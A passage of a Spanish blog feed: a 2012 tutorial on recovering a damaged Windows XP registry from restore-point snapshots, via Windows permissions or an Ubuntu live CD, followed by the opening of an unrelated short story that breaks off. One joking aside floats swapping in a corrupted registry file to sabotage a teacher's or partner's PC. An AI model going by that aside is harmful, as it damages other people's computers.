&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0W6ERf9f1g0hgVrOqW8eE6VeNd85o2qJmzge_IiUP_mXHqQODKRg1yWs5wEg-_XHNvcAyxSdCCwU-SF7mdJestOsA5AL2crjqedd6QHeGhntT3MwycDPjd1xHuJFP-Uk41JxJkOicTA/s1600/rw_12.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0W6ERf9f1g0hgVrOqW8eE6VeNd85o2qJmzge_IiUP_mXHqQODKRg1yWs5wEg-_XHNvcAyxSdCCwU-SF7mdJestOsA5AL2crjqedd6QHeGhntT3MwycDPjd1xHuJFP-Uk41JxJkOicTA/s400/rw_12.png&quot; width=&quot;350&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Una vez que nos dimos permisos, vamos por esta chin...&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Entramos a la carpeta, seleccionamos la vista detallada a fin de saber cual es la fecha de modificación de los archivos y carpetas, en mi caso el error ocurrió el veintiuno por lo que usaré la del dieciocho &quot;RP90&quot; adentro encontraremos varios archivos que por el momento no importan, vamos a la carpeta &quot;snapshot&quot;, de ahí los archivos que nos interesan son (solo los archivos):&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFWadY8dAlnFhaXDiioGrdkaiJClS4L54VuCh0mX81MaAM_cEP9jNlqTseLcoyqt4Y1pwuml5I1iKgtom5hLq1WZrSnlDZDcjLZKQ_zT19mhGSC5ZyqW_EtnAcrRD7CWf432RxuuaQLg/s1600/rw_14.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;112&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFWadY8dAlnFhaXDiioGrdkaiJClS4L54VuCh0mX81MaAM_cEP9jNlqTseLcoyqt4Y1pwuml5I1iKgtom5hLq1WZrSnlDZDcjLZKQ_zT19mhGSC5ZyqW_EtnAcrRD7CWf432RxuuaQLg/s400/rw_14.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Por lo que vamos a la raíz creamos una carpeta (nombrenla como les venga en mi caso use &quot;nreg&quot;, ahora y ya teniendo esto listo vamos a la consola del sistema y ejecutamos el siguiente &lt;a href=&quot;http://zosemu.com/downloads/registro.txt&quot;&gt;script&lt;/a&gt; (para ejecutarlo basta con renombrar el archivo a &quot;registro.bat&quot; y ejecutarlo desde con &quot;Win + R&quot; en mi caso &quot;E:\&quot; corresponde a la unidad donde guarde el script, hay que cambiar eso por la que corresponda al suyo). Con esto debería de bastar para realizar una copia de los archivos recuperados a la carpeta correspondiente, solo me resta aclarar dos cosas, la primera que el script debe estar directamente en la raíz donde se encuentran dañados los archivos, la segunda que los nombres de las carpetas &quot;nreg&quot; y &quot;Windows&quot; deben ser los que correspondan a los archivos&amp;nbsp;recién&amp;nbsp;copiados y al directorio dañado respectivamente.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0coRShrpUVCHHC3q0N4N9GHqWZtSso-jsKqBXKlwsH8fCsApmG3Gy-I9VYQoglvWRldil8g4vp9-naqPLE3q1SXMZ7VdwqEzgCD3_r61FLqfiPvNw5ZwkMRMH671nVSe7v3Zx0bSq8A/s1600/rw_15.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;172&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0coRShrpUVCHHC3q0N4N9GHqWZtSso-jsKqBXKlwsH8fCsApmG3Gy-I9VYQoglvWRldil8g4vp9-naqPLE3q1SXMZ7VdwqEzgCD3_r61FLqfiPvNw5ZwkMRMH671nVSe7v3Zx0bSq8A/s320/rw_15.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Ahora una vez terminada nuestra pequeña aventura, hay que asegurarnos de restaurar los permisos que movimos, para ello seleccionamos al usuario/grupo al que le habíamos concedido privilegios y damos click en eliminar, para que quede como muestra la segunda imagen.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0W6ERf9f1g0hgVrOqW8eE6VeNd85o2qJmzge_IiUP_mXHqQODKRg1yWs5wEg-_XHNvcAyxSdCCwU-SF7mdJestOsA5AL2crjqedd6QHeGhntT3MwycDPjd1xHuJFP-Uk41JxJkOicTA/s1600/rw_12.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0W6ERf9f1g0hgVrOqW8eE6VeNd85o2qJmzge_IiUP_mXHqQODKRg1yWs5wEg-_XHNvcAyxSdCCwU-SF7mdJestOsA5AL2crjqedd6QHeGhntT3MwycDPjd1xHuJFP-Uk41JxJkOicTA/s400/rw_12.png&quot; width=&quot;350&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinvqBRs5H7AX79CvE4dAINvd-GAtuDgnsXSXtKV1I3oCqUH6DEz8PHVtHLJefK6TYD3AvhqOq0d7GU2mG3qGBav94QSz9tmnJB92Xi-LovyHBIimhyrbcRqy1L_7NVSzUkuczccwMLNQ/s1600/rw_07.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinvqBRs5H7AX79CvE4dAINvd-GAtuDgnsXSXtKV1I3oCqUH6DEz8PHVtHLJefK6TYD3AvhqOq0d7GU2mG3qGBav94QSz9tmnJB92Xi-LovyHBIimhyrbcRqy1L_7NVSzUkuczccwMLNQ/s400/rw_07.png&quot; width=&quot;348&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Lo siguiente es iniciar en modo seguro y restaurar el sistema a un punto anterior, en mi caso usaré el día diecisiete (Inicio/ Todos los programas/ Accesorios/ Herramientas del sistema/ Restaurar sistema).&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIkX8WBFz-HqpsLplfGnxpFZaFS6NLEfZ-SK6ern_qltmwhChUuPvGN3oD1AO_EyfEEgWKRjLx75PgevOZ53nYjRf034bH0g5PtyHpTkoR3UA7QU2OOe-Bb-Y6nlUtPk0GSLD9N6Fikw/s1600/rw_16.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;280&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIkX8WBFz-HqpsLplfGnxpFZaFS6NLEfZ-SK6ern_qltmwhChUuPvGN3oD1AO_EyfEEgWKRjLx75PgevOZ53nYjRf034bH0g5PtyHpTkoR3UA7QU2OOe-Bb-Y6nlUtPk0GSLD9N6Fikw/s400/rw_16.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5XqHqUyYzMcAizPSsDUn1HR0u-99zCY7qAMNmO6n7jxLRtB2Pf5mukouRdnxiJhIwBx8vNb8PTzASnHxIkbqEflYecwzTEw7jyCiVl3gd5czzFat5VTDfJzErleO9hY5k9WEXmh23ZQ/s1600/rw_17.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;301&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5XqHqUyYzMcAizPSsDUn1HR0u-99zCY7qAMNmO6n7jxLRtB2Pf5mukouRdnxiJhIwBx8vNb8PTzASnHxIkbqEflYecwzTEw7jyCiVl3gd5czzFat5VTDfJzErleO9hY5k9WEXmh23ZQ/s400/rw_17.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-MHJsgOzlleAjV7jI8sCixXhyphenhypheni3XSO8w4mZp-QG3Kxwe1jAYeukODyzmCOVz-d_acWLMosTwzHRKNzSPk2HUBqf_NM1x1BBBoJ26C5iuQRuXWsfFRRTaFEvyUT3qf8FLlLaUnXI9s-Q/s1600/rw_18.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;276&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-MHJsgOzlleAjV7jI8sCixXhyphenhypheni3XSO8w4mZp-QG3Kxwe1jAYeukODyzmCOVz-d_acWLMosTwzHRKNzSPk2HUBqf_NM1x1BBBoJ26C5iuQRuXWsfFRRTaFEvyUT3qf8FLlLaUnXI9s-Q/s400/rw_18.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Y luego de un par de &quot;Siguiente&quot;s, habrá terminado todo y estará como nuevo nuestro sistema, ahora que ya conocen la magia lo haré usando un LiveCD de Ubuntu, ustedes pueden usar el que les venga en gana ya sea Linux (Hay muchas distros) o Windows (Pilitos, UBootCD, etc), no pienso dar explicaciones de porque use esa pero la seleccionamos como muestra la imagen:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmYHK61ZhcEZP2liSWRy1dzDFphhrINzRYu6_xQTagQlV0Pof3j-c-KImn9n1iDrjeyrqE2v_I5NB4yOdZrAbc50L5vnzik1VNC3Xn-9qU8NNkUSz6UBVQpPUHvGl7bfoRFHpcsI-J7Q/s1600/rw_19.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;242&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmYHK61ZhcEZP2liSWRy1dzDFphhrINzRYu6_xQTagQlV0Pof3j-c-KImn9n1iDrjeyrqE2v_I5NB4yOdZrAbc50L5vnzik1VNC3Xn-9qU8NNkUSz6UBVQpPUHvGl7bfoRFHpcsI-J7Q/s400/rw_19.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
luego de un rato, aparece la pantalla que nos muestra pide seleccionar nuestro idioma y seleccionar si queremos instalar o probar, usamos la opción probar, luego damos click en la carpeta &quot;Home&quot; y del lado superior derecho nos muestra nuestro disco duro le damos click y&amp;nbsp;automáticamente&amp;nbsp;lo montara (no!, no se trata del&amp;nbsp;hipódromo&amp;nbsp;ni nada por el estilo) bueno una vez adentro buscamos la carpeta de &quot;System Volume Information&quot; como se podrán dar cuenta los dejará entrar sin ningún problema (sorprendidos!!!? no deberían).&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5LJ4MdIhBuimzeyIdfOCuQN5WbxZuySXpUtiTaJV5mdSXwvp8LZOL8qWvZkaVau3T7MUt4u7TQza5LtiRdUFdyRnw3NW1Yya6tsP8ggq97GtKJhXcomddEoolWmAb528IzgTeWyky4A/s1600/rw_20.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;322&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5LJ4MdIhBuimzeyIdfOCuQN5WbxZuySXpUtiTaJV5mdSXwvp8LZOL8qWvZkaVau3T7MUt4u7TQza5LtiRdUFdyRnw3NW1Yya6tsP8ggq97GtKJhXcomddEoolWmAb528IzgTeWyky4A/s400/rw_20.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_jT9WpHphZ9DSuQpMSKrbZiYEQVPAI4K6v_0fIWIb8DpDnZCmksPF_ByA07tqhTcjbiK58WqnwsUc7K-9xVXx1Y1qm9UQriwTcRQF109U8wp0FkNy1c1Vp9uOCLyQwaUoyeeiDozhFw/s1600/rw_21.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;285&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_jT9WpHphZ9DSuQpMSKrbZiYEQVPAI4K6v_0fIWIb8DpDnZCmksPF_ByA07tqhTcjbiK58WqnwsUc7K-9xVXx1Y1qm9UQriwTcRQF109U8wp0FkNy1c1Vp9uOCLyQwaUoyeeiDozhFw/s400/rw_21.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Bueno el siguiente paso si es algo complejo de este lado, hay que averiguar cual es la carpeta más reciente XD, eso si que es sencillo en Windows...&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Bueno realmente no es tan complicado, ya que hemos llegado hasta este punto, vamos por ese maldito registro!!!. Presionen &quot;Ctrl + L&quot; ahora los dejara seleccionar la ruta en donde están (lo seleccionamos todo y lo copiamos), ahora abrimos una terminal, como?,&amp;nbsp;dándole&amp;nbsp;click al logo de Ubuntu y escribimos terminal, les resulta familiar (otro plagio de los ventanucos XD!!!)&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCemlcb2Czn46aBF1_CYilO-RZBYJIY8ekHGQVVxaGbleaoR-MvxFQJ4gkOYvGekVuF7U5qtNE6b15XThw4W7-58uMBS63AX1YxZRcNI5UG3433ADlQgW8Zw2Rr79Tb9Yr4HcZMnmE7w/s1600/rw_22.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCemlcb2Czn46aBF1_CYilO-RZBYJIY8ekHGQVVxaGbleaoR-MvxFQJ4gkOYvGekVuF7U5qtNE6b15XThw4W7-58uMBS63AX1YxZRcNI5UG3433ADlQgW8Zw2Rr79Tb9Yr4HcZMnmE7w/s400/rw_22.png&quot; width=&quot;365&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Es el primer icono luego escribimos cd e iniciamos&amp;nbsp;comillas&amp;nbsp;dobles, y con el&amp;nbsp;botón&amp;nbsp;derecho le damos pegar, por último cerramos las comillas dobles y damos un enter, una vez ahí escribimos &quot;ls -lA&quot; y:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0TrQ6TxZHK828ABnkQEgTrKiUMErxKP1b3IHfMZ_v2rKATCbAmisI7uR4CZkbzwoet0zIw6dJ8OzXYEZFm2MjVcFYTsAx_iGQA-W5rZspK4ip1HBfg0gCvPuzl-1-9frvTB7vUg2-Ng/s1600/rw_23.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;243&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0TrQ6TxZHK828ABnkQEgTrKiUMErxKP1b3IHfMZ_v2rKATCbAmisI7uR4CZkbzwoet0zIw6dJ8OzXYEZFm2MjVcFYTsAx_iGQA-W5rZspK4ip1HBfg0gCvPuzl-1-9frvTB7vUg2-Ng/s400/rw_23.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Interesante no?, lo extraño son las fechas que muestra porque si lo recuerdan Windows decía que la carpeta RP89 se modifico el 17, la RP90 el 18 y la RP91 el 21, mientras que aquí nos dice que la RP89 y RP90 se modificaron el 18 y la RP91 el 22, como sea, usaré la de en medio para no romperme las pelotas (ustedes pueden usar la que quieran, no lo había mencionado antes?) lo demás es ya historia damos &quot;Ctrl + T&quot; para una nueva pestaña luego navegamos hasta donde esta instalado nuestro sistema, copiamos los archivos ahí, eliminamos los otros y finalmente renombramos las copias por los nombres originales, reiniciamos y listo).&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3W1Nuh1-Qs2R3kMMzXrjP_hdoB7mEeafDjumD1mKJFksNZYGNp0kh3A8F3devvuGrrVyRmOULRQ-_x_SMemLy6L19a7mwwQcVXklDuxAC9qddut8i1HSCkhzlo9r6nj1IpKMuyKUm3Q/s1600/rw_24.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;282&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3W1Nuh1-Qs2R3kMMzXrjP_hdoB7mEeafDjumD1mKJFksNZYGNp0kh3A8F3devvuGrrVyRmOULRQ-_x_SMemLy6L19a7mwwQcVXklDuxAC9qddut8i1HSCkhzlo9r6nj1IpKMuyKUm3Q/s400/rw_24.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Seguro que si son observadores se habrán dado cuenta de un par de cosas interesantes al usar este&amp;nbsp;método, la primera de ellas es que pudimos ver e ingresar de manera sencilla a un directorio de sistema de Windows (seguro que a muchos se les ocurre un buen uso para eso XD!!), por otra parte el icono del archivo dañado es diferente al resto de los iconos de los archivos ahí, no voy a dar todos los detalles, eso ya les toca a los curiosos investigar, por otra si alguien se esta preguntando &quot;puedo conservar una copia de ese archivo dañado y remplazarla usando Linux para joder a (AQUÍ EL NOMBRE DEL PROFE, NOVIO, ETC)?&quot;, bueno eso ya se los dejo a su criterio, no sin antes recomendarles hacer una copia de los archivos, para luego salvar su trasero (o el del nombre del&amp;nbsp;paréntesis&amp;nbsp;anterior XD!), por último como seguramente ya lo intuyeron este&amp;nbsp;método&amp;nbsp;aplica perfectamente para hardware convencional, solo que es más sencillo experimentar con maquinas virtuales, aunque sigo&amp;nbsp;preguntándome&amp;nbsp;como fue que la daño mi hermana!?&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;Nota casi final:&lt;/b&gt; No siempre es necesario restaurar el sistema a un punto anterior, con copiar los archivos de registro necesarios debería ser suficiente, pero pueden hacerlo si no les funciona.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;Ahora si la nota final:&lt;/b&gt; Durante la realización de este post no se daño a ningún equipo virtual (eso lo hizo mi hermana), el autor del post no se hace responsable de los daños que pueda sufrir su equipo convencional o virtual, los experimentos realizados deben ser supervisados por un adulto,&amp;nbsp;el que escribe todo este choro es un experto en chorear no tanto en asuntos de&amp;nbsp;informática, por lo que, niños: EXPERIMENTEN!!!!!!!&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
SaluDoS hermanita!!!&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zosemu.blogspot.com/feeds/6233792074017107837/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://zosemu.blogspot.com/2012/05/restaurando-xp-virtual.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/6233792074017107837'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/6233792074017107837'/><link rel='alternate' type='text/html' href='http://zosemu.blogspot.com/2012/05/restaurando-xp-virtual.html' title='Restaurando XP virtual'/><author><name>ZoSemU?</name><uri>http://www.blogger.com/profile/04595520933327354402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopDsLJrQPgvwvDTu4ZVvWPLxqa8mQWobNyHIRpY9swarJPneaPMn23AQulQy1TzeUoeKcUiRlHtHza1kMc-INvu_KvHuaua_ZlcaDO-xEUavRtiH9YsG5JP0Bhq5O/s220/perfil.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJqKSVWobcQIzwUsea9xUovoQqWB15eQHItqU_T_TQeBkNJrh3unsPHnvSouY6ze8XXt2At_iTkBggeABfR4al0Lsh259MkWUHBsVhrnwqdX21gO7-jWfIqIuDWF0Q3xo1uLfXvJGc-Q/s72-c/rw_01.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8271906505880634956.post-8251508758046505487</id><published>2012-05-11T21:22:00.002-07:00</published><updated>2012-06-15T17:56:06.133-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Historias sin tiempo ni espacio"/><title type='text'>El precio de ser diferente...</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Antes que nada me disculpo si no escribo bien, bajo otras circunstancias eso me ha importado muy poco, pero para esta serie, de historias o cuentos, supongo que el&amp;nbsp;énfasis&amp;nbsp;de mis palabras si debería ser importante, como sea, espero poder hacerme entender, y, si alguno no comprende puede decirlo abiertamente.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Esta primer historia la cuento por ser algo que recuerdo ocurrió hace muy poco, bueno el hecho de escucharla, la historia no se cuando ocurrió y si ocurrió realmente, solo cuento lo que escuche de boca que alguien me&amp;nbsp;contó, después de todo vivimos en un país donde todo es posible...&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Ocurrió una mañana mientras esperaba la hora de visita, atareado por los recientes acontecimientos en la vida de mi hermano, su frase hizo eco en mi cabeza y me llevó a reflexionar, en sus actos...&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
¿Podría el ser mi sobrino?, las acciones a las que se refirió en aquella mañana triste, eran semejantes a otras cometidas por mi ¡infame hermano! -que ahora se encontraba grave (víctima de un &quot;asalto&quot;). Acaso tenía yo derecho de preguntar el nombre de su padre, ¿que haría de ser el mismo?, podría yo decirle a mi fatigada cuñada, que su marido a parte de la aventura que había tenido recientemente (y que le había valido la hospitalización), era además el padre de ese joven, sí era joven.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Sería acaso que mi cuñada no comprendía los hechos, acaso era posible que no entendiera que no lo saltaron, hasta mis sobrinos en su velado silencio y las ganas de no verlo ya lo habían intuido...&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Ahí estaba sentado, conversando con otra mujer que podría ser su hermana mayor, una joven (en relación a mi edad, todos me parecen&amp;nbsp;jóvenes), por su&amp;nbsp;acento&amp;nbsp;intuí que eran gente de la capital, lo que me parecía más extraño, porque eso que decía el muchacho aquel, parecía algo más de pueblo, lo que confirmaba mis sospechas, de que Federico -mi hermano- fuera su padre, sin embargo por los hechos, no podía ser sus hijos -los que yo conocía- tendrían su edad más o menos y para que pudiera ser su padre, el no podría haber vivido...&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
La cosa era más o menos así...&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;i&gt;... yo le pedí dinero a mi papá, para comprar un&amp;nbsp;lápiz; al llegar a la papelería observe que había muchos con gomas rosas, lapices &quot;normales&quot; del dos y medio, ¡pero de pronto!, ahí&amp;nbsp;atrás, escondido casi, había uno con goma blanca, de un color diferente -más amarillo...&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;i&gt;...al día siguiente cuando le pedí ayuda a mi padre con un dibujo para la escuela, me pidió mi lápiz, cuando se lo entregue su primera pregunta fue -¿donde esta el lápiz que te compré? (recuerdo que dijo algo como darte dinero para que compres algo y&amp;nbsp;comprártelo&amp;nbsp;no son la misma cosa)&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;i&gt;-es ese&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;i&gt;-no me vengas con chingaderas! este tiene la goma blanca, ¿de donde lo sacaste?, !de seguro se lo robaste a alguien de tu escuela!, ¡piche ratero!&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;i&gt;-no de verdad es mio, lo compre así porque me gusto la goma!...&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
